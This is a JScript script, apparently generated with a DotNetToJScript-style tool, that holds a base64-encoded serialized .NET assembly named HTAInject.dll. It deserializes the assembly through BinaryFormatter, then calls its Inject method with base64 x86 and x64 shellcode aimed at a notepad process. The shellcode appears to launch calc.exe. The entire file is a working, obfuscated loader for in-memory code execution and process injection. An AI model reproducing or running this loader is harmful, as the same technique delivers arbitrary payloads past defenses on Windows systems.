dotnettojsautoexec.js

(function(){
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
	var enc = new ActiveXObject("System.Text.ASCIIEncoding");
	var length = enc.GetByteCount_2(b);
	var ba = enc.GetBytes_4(b);
	var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
	ba = transform.TransformFinalBlock(ba, 0, length);
	var ms = new ActiveXObject("System.IO.MemoryStream");
	ms.Write(ba, 0, (length / 4) * 3);
	ms.Position = 0;
	return ms;
}

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"AE8AAAAAQAAAqAIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
"AAAALnRleHQAAAAkCQAAACAAAAAKAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAqAIAAABA"+
"AAAABAAAAAwAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAQAAAAAAAAAAAA"+
"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAApAAAAAAAASAAAAAIABQD8IAAA0AcAAAEAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgIoBAAACgAA"+
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"AQcA7gABAEMBCQD+AAIAQQELAA0BAQBAAQ0AHAEBAAABDwAvAQEABIAAAAAAAAAAAAAAAAAAAAAA"+
"4gIAAAQAAAAAAAAAAAAAAAEAIgAAAAAABAAAAAAAAAAAAAAAAQArAAAAAAAAAAA8TW9kdWxlPgBI"+
"VEFJbmplY3QuZGxsAFRlc3RDbGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFBST0NFU1NfQ1JF"+
"QVRFX1RIUkVBRABQUk9DRVNTX1FVRVJZX0lORk9STUFUSU9OAFBST0NFU1NfVk1fT1BFUkFUSU9O"+
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"NgB4NjQAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRp"+
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"bXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIuZGxsAGtlcm5lbDMyAEludFB0cgBnZXRfU2l6ZQBDb252"+
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"c2VzQnlOYW1lAGdldF9JZABDb25zb2xlAFdyaXRlTGluZQBaZXJvAAAAAAMgAAAAAACYOUOmVZX0"+
"Tr1fZSUxEnD/AAi3elxWGTTgiQIGCAQCAAAABAAEAAAECAAAAAQgAAAABBAAAAACBgkEABAAAAQA"+
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"CA4dBRIhGBgZCAIIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAAAA9CgA"+
"AAAAAAAAAAAADikAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApAAAAAAAAAAAAAAAAX0NvckRs"+
"bE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAA"+
"AAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAATAI0AAAA"+
"VgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAA"+
"AD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8A"+
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"AEYAaQBsAGUASQBuAGYAbwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUA"+
"RABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBu"+
"AAAAAAAwAC4AMAAuADAALgAwAAAAPAAOAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABIAFQA"+
"QQBJAG4AagBlAGMAdAAuAGQAbABsAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0"+
"AAAAIAAAAEQADgABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABIAFQAQQBJAG4A"+
"agBlAGMAdAAuAGQAbABsAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAu"+
"ADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4A"+
"MAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAgOQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVm"+
"bGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA";
var entry_class = 'TestClass';

try {
	setversion();
	var stm = base64ToStream(serialized_obj);
	var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
	var al = new ActiveXObject('System.Collections.ArrayList');
	var d = fmt.Deserialize_2(stm);
	al.Add(undefined);
	var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
	var x64 = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
	var x86 = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==";
	var ret = o.Inject(x86, x64, 'notepad');
	
	
} catch (e) {
    debug(e.message);
}
})();